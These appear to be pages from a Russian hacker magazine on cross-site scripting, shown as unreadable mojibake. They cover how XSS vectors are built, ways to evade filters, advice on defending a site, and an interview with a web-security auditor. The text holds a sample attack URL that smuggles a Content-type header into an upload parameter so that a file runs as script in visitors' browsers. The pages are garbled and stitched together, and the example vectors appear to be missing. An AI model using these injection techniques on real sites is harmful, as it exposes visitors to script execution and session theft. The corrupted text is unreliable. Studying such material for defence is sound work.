ÒÎÒÓÙÅÐÁ, ÊÎÒÎÐÛÉ ÌÎÆÅÒ ÍÀÍÅÑÒÈ XSS.ÂÎ-ÏÅÐÂÛÕ, ÝÒÎ ÓÙÅÐÁ ÈÌÈÄÆÓ ÊÎÌ-ÏÀÍÈÈ-ÄÅÐÆÀÒÅËß ÑÀÉÒÀ. ÈÇÌÅÍÅÍÈÅÈ ÈÍÚÅÊÖÈß ÒÅÊÑÒÀ  HTML-ÑÒÐÀÍÈÖÛÈ ÐÀÑÑÛËÊÀ ÒÀÊÈÕ XSS-ÂÅÊÒÎÐΠÊËÈ-ÅÍÒÀÌ ÊÎÌÏÀÍÈÈ ÌÎÆÅÒ ÍÀÍÅÑÒÈ ÑÓ-ÙÅÑÒÂÅÍÍÛÉ ÓÙÅÐÁ. ÏÎÌÍÈÒÑß, ÊÒÎ-ÒÎ ÑÌÎà ÄÀÆÅ ÂÍÅÄÐÈÒÜ Â ÎÄÈÍ ÈÇ ÍÎ-ÂÎÑÒÍÛÕ ÑÀÉÒΠÈÍÒÅÐÂÜÞ ÁÈËËÀÃÅÉÒÑÀ Î ÏÐÅÈÌÓÙÅÑÒÂÀÕ ÎÏÅÐÀÖÈ-ÎÍÍÛÕ ÑÈÑÒÅÌ ËÈÍÓÊÑ ÏÎ ÑÐÀÂÍÅÍÈÞÑ ÂÈÍÄÎÓÇ. ÂÎ-ÂÒÎÐÛÕ, ÝÒÎ ÂÎÇÌÎÆ-ÍÎÑÒÜ ÏÎÕÈÙÅÍÈß ÇÀÊÐÛÒÎÉ ÈÍÔÎÐ-ÌÀÖÈÈ, ×ÒÎ ÎÏßÒÜ ÆÅ ÏÎÒÅÍÖÈÀËÜÍÎÂÅÄÅÒ Ê ÇÍÀ×ÈÒÅËÜÍÎÌÓ ÝÊÎÍÎÌÈ×Å-ÑÊÎÌÓ ÓÙÅÐÁÓ. Â-ÒÐÅÒÜÈÕ, ÝÒÎ ÂÎÇ-ÌÎÆÍÛÅ DDOS-ÀÒÀÊÈ, ÎÐÃÀÍÈÇÓÅÌÛÅÑ ÏÎÌÎÙÜÞ XSS-×ÅÐÂÅÉ. ÍÓ È, Â-×ÅÒ-ÂÅÐÒÛÕ, ÏÐÈ ÎÑÎÁÎÉ ÓÄÀ×Å ÕÀÊÅÐÀÈ ÍÀËÈ×ÈÈ Ó ÊËÈÅÍÒÀ ÓßÇÂÈÌÛÕ «ÝÊ-ÑÏËÎÐÅÐλ — ÂÎÇÌÎÆÍÎÑÒÜ ÊÎÍ-ÒÐÎËß ÏÎËÜÇÎÂÀÒÅËÜÑÊÎÃÎ ÁÐÀÓÇÅ-ÐÀ, ÄÎÑÒÓÏÀ Ê ËÎÊÀËÜÍÛÌ ÔÀÉËÀÌÈ ÏÐÎ×ÈÅ «ÈÍÒÅÐÅÑÍÎÑÒÈ».3 ÒÅÌÀ XSS ÄÀÂÍÎ ÐÀÑÊÐÛÒÀÈÍÎÃÄÀ Ó ÌÅÍß ÑÊËÀÄÛÂÀÅÒÑß ÏÐÎÒÈ-ÂÎÏÎËÎÆÍÎÅ ÂÏÅ×ÀÒËÅÍÈÅ — ÒÅÌÀ XSSÁÅÑÊÎÍÅ×ÍÀ È ÍÅ ÌÎÆÅÒ ÁÛÒÜÎÕÂÀ×ÅÍÀ È ÏÎËÍÎÑÒÜÞ ÐÀÑÊÐÛÒÀÄÀÆÅ Â ÁÎËÜØÎÌ ÎÁÇÎÐÅ. ÂÑÅ ÍÎÂÛÅÂÂÅÄÅÍÈß È ÏÐÀÊÒÈ×ÅÑÊÈ ÊÀÆÄÛÉ ÑÂÅ-ÆÈÉ ÑÒÀÍÄÀÐÒ ÎÒ W3C — ÝÒÎ ÍÎÂÛÅÂÎÇÌÎÆÍÎÑÒÈ ÄËß XSS. ÒÅÎÐÅÒÈ×ÅÑÊÈ,XSS ÌÎÆÅÒ ÁÛÒÜ ÐÅÀËÈÇÎÂÀÍ ÍÀ ËÞ-ÁÎÌ ÌÀÒÅÐÈÀËÅ, ÏÐÅÄÀÂÀÅÌÎÌ ÑÅÐÂÅ-ÐÎÌ ÍÀ ÇÀÏÐÎÑ ÊËÈÅÍÒÀ, ÅÑËÈ ÑÅÐÂÅÐÈÑÏÎËÜÇÓÅÒ ÊËÈÅÍÒÑÊÈÅ ÄÀÍÍÛÅ Â ÊÀ-×ÅÑÒÂÅ ÔÐÀÃÌÅÍÒΠÄËß ÑÂÎÅÃÎ ÎÒÂÅ-ÒÀ. ÏÎÝÒÎÌÓ Â ÁËÈÆÀÉØÅÅ ÂÐÅÌß ÑÎ-ÎÁÙÅÑÒÂÎ ÏÐÎÄÎËÆÈÒ ÐÀÄÎÂÀÒÜ ÍÀÑÂÑÅ ÁÎËÅÅ ÈÇÎÙÐÅÍÍÛÌÈ ÌÅÒÎÄÀÌÈÊÐÎÑÑ-ÑÀÉÒÎÂÎÃÎ ÑÊÐÈÏÒÈÍÃÀ.ñëó÷àå íà÷àëî âåêòîðà — ýòî êóñîê êîäà, öåëüþ êîòîðîãîÿâëÿåòñÿ ïåðåâîä èçíà÷àëüíîãî òåêñòîâîãîêîíòåêñòà â êîíòåêñò èñïîëíÿåìûé. Òàê, äëÿ URLâåêòîðîâíà÷àëîì áóäåò ñëóæèòü â ñàìîì ïðîñòîìñëó÷àå ôðàãìåíò òèïà:text'>Åñëè èíòåðåñóþùèé íàñ ñàéò ñîäåðæèò ñêðèïò, ïåðåäàþùèéâ HTML-êîä ñîäåðæèìîå ïàðàìåòðàèç GET-çàïðîñà, íå ôèëüòðóÿ (èëè êðèâî ôèëüòðóÿ)íàëè÷èå ñêðèïòîâûõ òýãîâ, ýòîò ïðèìåð äîëæåíñðàáîòàòü.  ïåðâîé ÷àñòè ïðèâåäåííîãî ïðèìåðàïðîñòî çàêðûâàåì HTML-êîíòåêñò, ýòî íàäî äåëàòüòîëüêî â òîì ñëó÷àå, åñëè óÿçâèìûé ñàéò âñòàâëÿåòñîäåðæèìîå ïåðåäàííîãî ïàðàìåòðà â êîíñòðóêöèþòèïà:Ïîýòîìó, êîãäà ñîâìåñòèì XSS-âåêòîð è òî, ÷òîèäåò â îðèãèíàëüíîì òåêñòå HTML, òî ïîëó÷èì:Ðàçóìååòñÿ, äëÿ òîãî ÷òîáû ïðàâèëüíî îñóùåñòâèòüñìåíó êîíòåêñòà, íàäî ïðåäâàðèòåëüíî ïðîàíàëèçèðîâàòüèñõîäíûé HTML-êîä óÿçâèìîéñòðàíèöû. Èãíîðèðîâàíèå ýòîãî ïðîñòîãî ìîìåíòàíà ïåðâûé âçãëÿä õîòü è ìîæåò äàòü âïîëíå ðàáî-÷èé âåêòîð, íî â áîëüøèíñòâå ñëó÷àåâ îêàçûâàåòñÿ,÷òî âåêòîð ðàáîòàåò òîëüêî â îäíîì áðàóçåðåè íå îáëàäàåò êðîññ-áðàóçåðíîé ñîâìåñòèìîñòüþ.Ïîýòîìó ñåêðåò êðîññ-áðàóçåðíîé ðàáîòû íîìåðîäèí çâó÷èò ïðîñòî: â èñõîäíîé HTML-ñòðàíèöåäëÿ êîððåêòíîãî ñîñòàâëåíèÿ âåêòîðà âàæíî âñå.Åñëè ñåðâåð âûäàåò ñòðàíèöû XHTML, à íå HTML(÷òî äîëæíî ïðîâåðÿòüñÿ ïî DOCTYPE è MIME), òîíå ïîëåíèñü â ñëó÷àå, óêàçàííîì âûøå, èñïîëüçîâàòüêîä:text'/>Äîïîëíèòåëüíûé çàêðûâàþùèé ñëåø äîáàâèò ëèøíþþãàðàíòèþ êîððåêòíîé ðàáîòû âåêòîðà íà ëþáîéïëàòôîðìå è áðàóçåðå.Äëÿ äðóãèõ, íàäî ñêàçàòü, çíà÷èòåëüíî ìåíååðàñïðîñòðàíåííûõ òèïîâ âåêòîðîâ (è äàæåòåõ, ÷òî åùå âîçíèêíóò òîëüêî â ïåðñïåêòèâå âíåäðåíèÿíîâûõ òåõíîëîãèé) ê âîïðîñó íàäî ïîäõîäèòüñõîæèì îáðàçîì: ïåðåäàåøü HTTP-âåêòîð —íå çàáóäü äàòü ïîñëåäîâàòåëüíîñòü êîððåêòíîãîçàãîëîâêà HTTP è ïðàâèëüíóþ ñìåíó êîíòåêñòà.Ñêàæåì, åñòü ãèïîòåòè÷åñêèé ôîðóì, êîòîðûé äîïóñêàåòçàãðóçêó íà íåãî ôàéëîâ, ïðè ýòîìâ ñêðûòîì ïàðàìåòðå ïàðàëëåëüíî ïåðåäàåòñÿêîäèðîâêà çàãðóæàåìîãî ôàéëà. Òîãäà ïðîñòîéâåêòîð ìîæåò äàòü âîçìîæíîñòü ïåðåäàòü êîíå÷íîìóïîëüçîâàòåëþ âìåñòî ôàéëà òðåáóåìûéñêðèïò, êîòîðûé èñïîëíèòñÿ â áðàóçåðå âñåõ ïîñåòèâøèõñàéò:http://vlunerable.site/script_for_uploading?file=eto-tipakartinka.js&encoding=utf-8%0AContenttype:%20text/html%0A%0AÄëÿ ïðîñòîòû âîñïðèÿòèÿ ñïåöèàëüíî äî êîíöà íåïåðåêîäèðîâàëè ñèìâîëû â ôîðìàò URL-encoded.Ñ ïåðâîé ÷àñòüþ âåêòîðà — çàêðûòèåì êîíòåêñòà— áîëåå èëè ìåíåå ïîíÿòíî. Íî ýòî áûëè öâåòî÷êè,ñåé÷àñ íà÷èíàþòñÿ ÿãîäêè. Èç ïðèâåäåííûõ ïðèìåðîâòû ñàìîñòîÿòåëüíî óÿñíèë, ÷òî ïîñëå çàêðûòèÿêîíòåêñòà ñëåäóåò âñòðàèâàíèå êîäà, êîòîðûé, åñòåñòâåííî,äîëæåí áûòü ïðåäâàðåí ÷åì-òî, ÷òî ïîÿñíÿåòáðàóçåðó, ÷òî êîä äîëæåí ïåðåäàâàòüñÿ íà èñïîëíåíèåñîîòâåòñòâóþùèì îáðàçîì. Ñàìûé ïðîñòîéñïîñîá ñäåëàòü ýòî â òåõ æå URL-âåêòîðàõ — âûðåçàòüòýã «


53ÊÀÊÎÁÅÇÎÏÀÑÈÒÜÑÂÎÉ ÑÀÉÒÎÒ XSS?Åäèíñòâåííàÿ ñèòóàöèÿ, êîãäà òû ìîæåøüíå áåñïîêîèòüñÿ î áåçîïàñíîñòèñàéòà â ïëàíå XSS — ýòî åñëè îí ñîäåðæèòèñêëþ÷èòåëüíî ñòàòè÷åñêèå txtè html-ñòðàíèöû, áåç JavaScript, VB-Script, Java è âñòðîåííûõ îáúåêòîâ.Òî åñòü åñëè îí íèêîãäà íå ïîëó÷àåòäàííûå îò ïîëüçîâàòåëåé è íå ðàáîòàåòñ áàçàìè äàííûõ, êîòîðûå ìîãóò áûòüìîäèôèöèðîâàíû èçâíå.  îñòàëüíûõñëó÷àÿõ XSS âîçìîæåí, è èçáåæàòü åãîäîñòàòî÷íî ñëîæíî (ïî êðàéíåé ìåðå,ýòî òðåáóåò î÷åíü âíèìàòåëüíîãîè òùàòåëüíîãî ïîäõîäà ê íàïèñàíèþ êîäà).Íî åñòü ðÿä ïðàêòè÷åñêèõ ñîâåòîâ,êîòîðûå õîòü è íå ãàðàíòèðóþò àáñîëþòíóþáåçîïàñíîñòü, íî ñóùåñòâåííîóâåëè÷èâàþò øàíñû èçáåæàòü îáèëèÿäûðîê â ñâîèõ ñàéòàõ.ÈñõîäíûåäàííûåCòðóêòóðà XSS-âåêòîðà1Èñïîëüçîâàòü çàðåêîìåíäîâàâøèåñåáÿ è ïðîâåðåííûå âðåìåíåì opensource frameworks (ïî êðàéíåé ìåðå,òå èõ êîìïîíåíòû èëè èçáðàííûå ôóíêöèè,êîòîðûå ñâÿçàíû ñ ôèëüòðàöèåéäàííûõ îò ïîëüçîâàòåëÿ). Ïðîâåðêà âðåìåíåìîïðåäåëÿåòñÿ ïî òîìó, íàñêîëüêî÷àñòî â ïóáëè÷íûõ áàã-ëèñòàõ ïóáëèêóþòñÿâíîâü íàéäåííûå XSS-äûðû â ýòèõôðåéìâîðêàõ. Òîëüêî íå çàáûâàé, ÷òî«ìàëî íàéäåííûõ äûð» — ýòî íå âñåãäàêà÷åñòâî ñèñòåìû, çà÷àñòóþ ýòî ïðîñòîåå ìàëàÿ ïîïóëÿðíîñòü. Ïîýòîìó åñëèãîâîðèòü îá open source, òî íóæåí èçâåñòíûé,øèðîêî èñïîëüçóåìûé è êà÷åñòâåííîðåàëèçîâàííûé êîä.2Íèêîãäà íå äîâåðÿòü íè÷åìó, ÷òîïîëó÷åíî îò ïîëüçîâàòåëÿ. Îá ýòîì ãîâîðÿòìíîãèå è ìíîãî, òîëüêî çàáûâàþòïåðå÷èñëÿòü âñå ïîòåíöèàëüíûå èñòî÷íèêèäëÿ ïîëó÷åíèÿ ïîëüçîâàòåëüñêîéèíôîðìàöèè. Òàê âîò, äàííûå îò ïîëüçîâàòåëÿ— ýòî íå òîëüêî ïàðàìåòðûâ GET è POST-çàïðîñàõ. Ïîìèìî ýòîãîñëåäóåò îáðàùàòü âíèìàíèå íà äàííûå,Çàêðûòèåêîíòåêñòàâû÷êè â çíà÷êè òèïà «&quot;»? Äóìàåì äàëüøå. êà÷åñòâå çíà÷åíèé «src» ê òýãàì èçîáðàæåíèé,«href» ãèïåðññûëîê è ïðî÷åãî ìîæíî óêàçûâàòü êîíñòðóêöèèòèïà «javascript:..code..». È íå òîëüêî â ýòèõòýãàõ. Íî, ñêàæåì, òîò æå Ýêñïëîðåð 6 èñïîëíèò«» è ìàññó ïîäîáíûõâàðèàíòîâ. Òàê ÷òî åñëè ïàðàìåòð èç URL ïåðåäàåòñÿâ ýòè òýãè, òî èñïîëüçîâàíèå òàêîé âîçìîæíîñòè— äåëî òåõíèêè. Äðóãèå ðåøåíèÿ èç ýòîéîáëàñòè: èñïîëüçîâàòü â ñëîâå javascript ïðîáåëû,êîäèðîâàòü ñèìâîëû â HTML-entities (&#x6A; è ò.ä.),ïðèìåíÿòü íåñòàíäàðòíûå events (onAbort, onActivate,onAfterPrint, onAfterUpdate, onBeforeActivate, on-BeforeCopy è äðóãèå).èñïîëíÿåìûé êîä äëÿ XSS. Çàâåðøèâ ðàçáîðïåðâûõ äâóõ ÷àñòåé âåêòîðà, ðàññìîòðèì òî, ÷òî ñîñòàâëÿåòåãî òåëî — êîä. È êàê ýòîò êîä ìîæåòè äîëæåí ðàáîòàòü. Çäåñü âíîâü ïðèäåòñÿ ââîäèòüêëàññèôèêàöèþ, èáî ñïîñîáîâ ïîñòðîåíèÿ òåëà âåêòîðàìîæåò áûòü áåñ÷èñëåííîå ìíîæåñòâî (âñå çàâèñèòîò ôàíòàçèè). Ðàññìîòðèì òðè îñíîâíûõ òèïà:HTML-âåêòîðû, âåêòîðû, ñîäåðæàùèå JavaScript,è âåêòîðû, âíåäðÿþùèå îáúåêòû (íàïðèìåð,swf-ôàéëû).Ñ ïåðâûì âñå äîñòàòî÷íî ÿñíî, — îí ïîçâîëÿåòìîäèôèöèðîâàòü ñòðóêòóðó äîêóìåíòà.  ÷åì æåèíòåðåñ äàííîãî ñïîñîáà XSS? Âî-ïåðâûõ, îí ìîæåòáûòü ïðèìåíåí äëÿ äåôåéñà ñàéòîâ èëè äëÿ«ïîð÷è» èìèäæà êîìïàíèé. Îñîáî ýôôåêòèâíûé èîïàñíûé HTML-XSS âîçìîæåí äëÿ òðåòüåé ìîäåëèàòàê, êîãäà âíåäðåííûé êîä ðàçìåùàåòñÿ íåïîñðåäñòâåííîíà ñàéòå è ñòàíîâèòñÿ âèäåí âñåì åãîïîñåòèòåëÿì. Òàê, ñêàæåì, ñàéò veryimportantcorporation.comðàçìåùàåò ó ñåáÿ ñïèñîê ñàìûõ ïîïóëÿðíûõçàïðîñîâ îò ïîëüçîâàòåëåé, ïðè ýòîì ôîðìàñáîðà çàïðîñîâ íå ñîäåðæèò ôèëüòðàöèè HTMLòýãîâ. ýòîì ñëó÷àå äîñòàòî÷íî ïðîñòî îðãàíèçîâàòüáîëüøîå ÷èñëî çàïðîñîâ ñ ñîäåðæèìûì ïî òèïó«


54 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07æåñòîêàÿïðàâäàÈíòåðâüþ ñ àóäèòîðîìïî áåçîïàñòíîñòèÏÎÒÅÍÖÈÀËÜÍÎ XSS-ÓßÇÂÈÌÎÑÒÈ ÌÎÃÓÒ ÁÛÒÜÍÀ 90% ÑÀÉÒÀÕ,  ÒÎÌ ×ÈÑËÅ È ÍÀ ÒÂÎÅÌÀíäðåé Êàðîëèêandrusha@real.xakep.ruÅÂÃÅÍÈÉ ÄÎÊÓÊÈÍAKA MUSTLIVE{ID} ÈÒ-èíäóñòðèè óæå áîëåå 13 ëåò —ñ òîãî ìîìåíòà, êàê ïàïà ïîäàðèëïåðâûé êîìïüþòåð — Ïîèñê-2.Âåá-ïðîãðàììèðîâàíèåì çàíèìàåòñÿñ 2001 ãîäà. Ïóáëè÷íóþ äåÿòåëüíîñòüâ ñôåðå âåá-áåçîïàñíîñòè íà÷àëñî ñâîåãî Mustlive security pack(http://websecurity.com.ua/security-pack/).Ïîçæå áûë îíëàéíîâûéèíòåðïðåòàòîð Mustlive perl pascalprograms interpreter (http://mlfun.org.-ua/ppi/). Èçâåñòåí ìíîãèì ïî ïðîåêòówebsecurity (http://websecurity.com.ua),êîòîðûé ïîñâÿùåí èñêëþ÷èòåëüíîâåá-áåçîïàñíîñòè. Àêòèâíîçàíèìàåòñÿ ñîöèàëüíûì ñåêüþðèòèàóäèòîì— áåçâîçìåçäíûì ïîèñêîìäûð è îïîâåùåíèåìàäìèíîâ ðàçëè÷íûõ âåá-ñàéòîâî íàéäåííûõ óÿçâèìîñòÿõQ: Àóäèò áåçîïàñòíîñòè —ýòî äîðîãîå óäîâîëüñòâèå?A: Äîðîãîâèçíà óñëóã ïî àóäèòó áåçîïàñíîñòè— ýòî ìèô. Íî ýòî ñ îäíîéñòîðîíû, à ñ äðóãîé — ïîòåíöèàëüíûåçàêàç÷èêè, â îñíîâíîì, ïîôèãèñòû,â òîì ÷èñëå è ðåáÿòà, ðàáîòàþùèåâ êîìïàíèÿõ-ãèãàíòàõ. Ëþáÿò,÷òîáû èì äûðû íàõîäèëè íà õàëÿâó,ðåàãèðóþò, êîãäà èõ èëè èõ êëèåíòîâïîõàêàþò, è àóäèòû áåçîïàñíîñòèîñîáî çàêàçûâàòü íå ëþáÿò. Òàê ÷òîñàìà îòðàñëü òîëüêî â íà÷àëå ñâîåãîïóòè (ÿ èìåþ â âèäó ðó÷íîé àóäèò, òàêêàê ñêàíåðû óæå çàíÿëè ñâîþ íèøó).Êòî-òî íà÷èíàåò ïîëüçîâàòüñÿ ñêàíåðàìèáåçîïàñíîñòè (åñëè îí î íèõ,êîíå÷íî, ñëûøàë), êîòîðûå ïî-íàñòîÿùåìóäîðîãè è ïîðîé ìàëîýôôåêòèâíû,÷òî ïîäòâåðæäàþò ñîîáùåíèÿî äûðàõ íà ñàéòàõ ñåêüþðèòèêîìïàíèé,â òîì ÷èñëå ïðîèçâîäèòåëåéýòèõ ñàìûõ ñêàíåðîâ. Äà è â öåëîìàóäèò áåçîïàñíîñòè, çàêàçàííûéó ñïåöèàëèñòà, áóäåò ýôôåêòèâíååè îáîéäåòñÿ çíà÷èòåëüíî äåøåâëå.Öåíà çàâèñèò îò ñàéòà, åãî ðàçìåðîâè êîëè÷åñòâà ñåðâèñîâ íà íåì(à òàêæå êîëè÷åñòâà òèïîâ óÿçâèìîñòåéäëÿ òåñòèðîâàíèÿ). ×åì áîëüøåñàéò, òåì áîëüøå ñðîêè òåñòèðîâàíèÿè èòîãîâàÿ öåíà. Íî âñåãäà ìîæíî äîãîâîðèòüñÿè íàéòè ïðèåìëåìóþ öåíóïðîâåðêè êîíêðåòíîãî ðåñóðñà. Äëÿíåáîëüøèõ ðåñóðñîâ åå ñòîèìîñòüìîæåò áûòü â ðàéîíå íåñêîëüêèõ ñîòåíäîëëàðîâ. Äðóãèìè ñëîâàìè, öåíàäîãîâîðíàÿ. Ïðè÷åì àóäèò ìîæåòáûòü ðàçîâûì, à ïîâòîðíî îáðàùàòüñÿê íåìó ìîæíî ÷åðåç íåêîòîðîå âðåìÿóæå ïî ìåðå íåîáõîäèìîñòè.Åñëè ãîâîðèòü î ñåðüåçíûõ ïðîåêòàõ,òî íà áåçîïàñíîñòü íóæíî âûäåëÿòüäî 10% îò ñòîèìîñòè (îöåíî÷íîé)áèçíåñà. Íî ó÷èòûâàÿ íàø ìåíòàëèòåò,ëþáîâü ê õàëÿâå è ñòîéêîå æåëàíèåíå ïëàòèòü çà ñâîþ áåçîïàñíîñòü,÷àñòî âûäåëÿåìûé áþäæåò íà áåçîïàñíîñòüñòðåìèòñÿ, óâû, ê íóëþ…Q: Åñëè áû òû ñîñòàâëÿë ðåéòèíãóãðîç èçâíå, òî êàêîå ìåñòîçàíÿëè áû SQL Injection è XSSâ ýòîì «õèò-ïàðàäå»?A: Äàííûå óÿçâèìîñòè áûëè áû îäíèìèèç ïåðâûõ. Ëîãè÷íåå ðàçäåëèòü èõ«òîï» íà äâà: íàèáîëåå îïàñíàÿ è íàèáîëååðàñïðîñòðàíåííàÿ óÿçâèìîñòü. ðåéòèíãå íàèáîëåå îïàñíûõíà ïåðâîå ìåñòî ÿ ïîñòàâèë áû PHPèíêëþäèíãè óäàëåííîå èñïîëíåíèåêîäà (÷åðåç òîò æå PHP file inclusion).Äàëåå èäåò XSS, â ðàçëè÷íûõ åãîïðîÿâëåíèÿõ. Äàëåå SQL Injection. Àïîñëå — äðóãèå óÿçâèìîñòè, òàêèå êàê


56 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07ñëàáûå ïàðîëè (÷òî íåðåäêî âñòðå÷àåòñÿ),Directory indexing, Full path disclosureè äðóãèå. ðåéòèíãå íàèáîëåå ðàñïðîñòðàíåííûõâíà÷àëå ÿ ïîñòàâèë áûCross-Site Scripting, äàëåå Full pathdisclosure, PHP-èíêëþäèíã, SQL Injection,Directory indexing è äðóãèå.Q: Êàêèå öåëè îáû÷íî, ïðåñëåäóþòõàêåðû, èñïîëüçóÿ SQL Injectionèëè XSS? È ÷òî ðåàëüíî îíèìîãóò ïîëó÷èòü?À: Îñíîâíàÿ öåëü õàêåðîâ — ýòî ïîëó-÷åíèå êîíôèäåíöèàëüíîé èíôîðìàöèè,ïàðîëåé è äðóãèõ äàííûõ (íàïðèìåð,òåêóùåé ñåññèè ïîëüçîâàòåëÿ),â îñíîâíîì ñ öåëüþ íàæèâû. È âíå çàâèñèìîñòèîò òîãî, äåéñòâóåò ëè õàêåðâ îäèíî÷êó èëè æå ýòî îðãàíèçîâàííàÿïðåñòóïíàÿ ãðóïïà, èõ öåëü — ýòî äåíüãè.Êîíå÷íî, ýòî ìîæåò áûòü åùå è ïðîìûøëåííûéøïèîíàæ, ìåñòü èëè ïðîñòîæåëàíèå íàâðåäèòü, íî îñíîâíîéóïîð âñå æå íà ïîëó÷åíèå ïðèáûëè.Çàõâàòûâàþò îáû÷íî ëîãèíûè ïàðîëè (èëè ñåññèè) ñ íóæíûõ ñàéòîâ,ãäå õðàíÿòñÿ äåíüãè èëè íåïîñðåäñòâåííîó÷åòíûå äàííûå âåá-êîøåëüêîâ,ëèáî èíôîðìàöèÿ êðåäèòíûõêàðò. Äðóãîé âàðèàíò — çàõâàòâàæíûõ äàííûõ ñ öåëüþ ïåðåïðîäàæèèëè øàíòàæà. Öåëü íàíåñåíèÿóùåðáà òàêæå âîçìîæíà, â òîì ÷èñëåíà çàêàç. À âîò ñëó÷àåâ áàëîâñòâà,âçëîìà îò íå÷åãî äåëàòü èëè äëÿ äåìîíñòðàöèèñâîèõ âîçìîæíîñòåé âñåìåíüøå è ìåíüøå.Âñå ÷àùå âñòðå÷àþòñÿ èìåííîñïëàíèðîâàííûå öåëåíàïðàâëåííûåàòàêè. À òàêæå âçëîìû ðàäè ïîëó÷åíèÿäàííûõ äëÿ ñïàì-ðàññûëîê èëèçàõâàòà ÏÊ ñ öåëüþ ñîçäàíèÿ ñïàìáîòà(îïÿòü æå, äëÿ ñïàì-ðàññûëîê).Q: Êàêîâ ïðîöåíò ñàéòîâ,êîòîðûå ìîæíî â ëþáîé ìîìåíòàòàêîâàòü ïîñðåäñòâîì SQL Injectionèëè XSS?À: Òî÷íî ñêàçàòü ñëîæíî, êàê â ãëîáàëüíûõìàñøòàáàõ, òàê è â ìàñøòàáàõruíåòà èëè uàíåòà â ÷àñòíîñòè.Ñòàòèñòèêó ìàëî êòî âåäåò, ïðîâîäèòñÿî÷åíü ìàëî ñîîòâåòñòâóþùèõ èññëåäîâàíèé.Ìîæíî â êà÷åñòâå ïðèìåðàèñïîëüçîâàòü äàííûå êîìïàíèèAcunetix (http://websecurity.com.ua/120/):SQL Injection èìååò 9%, à Cross SiteScripting — 27% ñàéòîâ. Ýòè äàííûåêîìïàíèÿ ïðèâîäèò, èñõîäÿ èç îøèáîê,íàéäåííûõ èõ ñêàíåðîì áåçîïàñíîñòè(è ýòî â îñíîâíîì çàïàäíûåñàéòû).ß èñõîæó èç ñâîåé ïðàêòèêè îáíàðóæåíèÿóÿçâèìîñòåé — â ruíåòåè uàíåòå XSS-óÿçâèìîñòè íàõîæóïðàêòè÷åñêè íà êàæäîì ñàéòå, òàê ÷òîïîòåíöèàëüíî XSS-óÿçâèìîñòè ìîãóòáûòü íà 90% ñàéòîâ. SQL Injectionâñòðå÷àåòñÿ ðåæå, ïîòåíöèàëüíî äî10% ñàéòîâ ìîãóò èìåòü ïîäîáíûåóÿçâèìîñòè. Ïðè÷åì XSS-óÿçâèìîñòèìîãóò áûòü íà ñàéòàõ áåç èñïîëüçîâàíèÿñåðâåðíûõ ñêðèïòîâ (http://websecurity.com.ua/127/),è îò ïëàòôîðìû ñàéòàýòî íå çàâèñèò.Q: Ïðàêòè÷åñêè âñå íîâîñòíûåëåíòû, ïîñâÿùåííûå áåçîïàñòíîñòè,êèøàò ïðåäóïðåæäåíèÿìèî âîçìîæíîñòè SQL Injection èëèXSS. Òåì íå ìåíåå, ñîçäàåòñÿâïå÷àòëåíèå, ÷òî èõ ÷èòàþò òîëüêîñàìè ìîäåðàòîðû è óçêèé êðóãñïåöèàëèñòîâ, êîòîðûå ïîðîé ìîãóòíå èìåòü ïðÿìîãî îòíîøåíèÿ ê web.×òî ýòî — ðÿäîâîé ïîôèãèçì?À: Ñ îäíîé ñòîðîíû, èìååò ìåñòî ðàâíîäóøèåê ïðîáëåìå. Ñ äðóãîé ñòîðîíû,ïðè÷èíà ýòîìó — íåäîñòàòîê çíàíèé.Îáùåñòâåííîñòü íóæíî ïðîñâåùàòüíà òåìó áåçîïàñíîñòè. Ëþäèäîëæíû çíàòü, ÷òî ñóùåñòâóþò óÿçâèìîñòè,÷òî îíè ìîãóò íàíåñòè âðåä è÷òî íóæíî ñëåäèòü çà áåçîïàñíîñòüþñâîèõ âåá-ñàéòîâ, âåá-ïðèëîæåíèé èâåá-ñèñòåì. Íóæíî ðåãóëÿðíî ïðîâîäèòüàóäèò áåçîïàñíîñòè è ñëåäèòü çàíîâîñòÿìè î âíîâü íàéäåííûõ óÿçâèìîñòÿõ.À òàêæå íóæíî ïðîñâåùàòüâåá-ðàçðàáîò÷èêîâ ïî âîïðîñàì áåçîïàñíîñòè,÷òî ÿ è äåëàþ â ñâîåì ðóêîâîäñòâå— http://websecurity.com.ua/security/.Èíà÷å, äåéñòâèòåëüíî, ïîäîáíûåìàòåðèàëû ÷èòàþò ëèøü ñïåöèàëèñòûïî áåçîïàñíîñòè, è òå, êîìó ýòàòåìà èíòåðåñíà êàê ñìåæíàÿ ñ èõ äåÿòåëüíîñòüþ.À òàêæå õàêåðû, êîòîðûåðàçðàáàòûâàþò èëè èñïîëüçóþò ýòèæå äûðû è ýêñïëîéòû. Íó, è ñêðèïòêèääèñû.Q: Êàê è â êàêîé èìåííîïîñëåäîâàòåëüíîñòè òû ïðîâåðÿåøüðåñóðñû íà áðåøü â ñèñòåìåáåçîïàñíîñòè?À: Ìåíÿ ÷àñòî ñïðàøèâàþò, êàêèåñêàíåðû ÿ èñïîëüçóþ… ß íå èñïîëüçóþíèêàêèõ. È ðåãóëÿðíî ïèøó ó ñåáÿâ íîâîñòÿõ î äûðàõ íà ñàéòàõ ñåêüþðèòè-ôèðì(íàïðèìåð, íà ñàéòåðàçðàáîò÷èêà ISS Internet Scanner —http://websecurity.com.ua/378/), êîòîðûåýòè ñêàíåðû âûïóñêàþò. Òàê ÷òî ïðîêóîò íèõ íåìíîãî. Èñïîëüçóþ èñêëþ-÷èòåëüíî ñâîè çíàíèÿ è îïûò, à â êà-÷åñòâå ðàáî÷èõ èíñòðóìåíòîâ âûñòóïàþòáðàóçåð (Mozilla â îñíîâíîì) èòåêñòîâûé ðåäàêòîð (GVIM). Ïåðâûéäëÿ òåñòèðîâàíèÿ, âòîðîé — äëÿ çàïèñèðåçóëüòàòîâ. Ïðè÷åì îáà èíñòðóìåíòàðèÿopen source, òàê ÷òî óìåíÿ âåñüìà îòêðûòûé ïîäõîä. È çíàíèÿìîè îò ÷àñòè open source, òàê êàêäåëþñü ñ ïîñåòèòåëÿìè ìîåãî ïðîåêòà(http://websecurity.com.ua), ïóáëèêóÿèíôîðìàöèþ î ñâîèõ èññëåäîâàíèÿõ.Êàê òàêîâîé ïîñëåäîâàòåëüíîñòèïîèñêà óÿçâèìîñòåé íå ñóùåñòâóåò,ê êàæäîìó ðåñóðñó ÿ âñåãäà ïîäõîæóèíäèâèäóàëüíî. Ïëþñ èíòóèòèâíî÷óâñòâóþ, ãäå ìîãóò áûòü äûðû. Åñëèíà ñàéòå ïðèñóòñòâóþò ôèëüòðû (çàùèùàþùèå,íàïðèìåð, 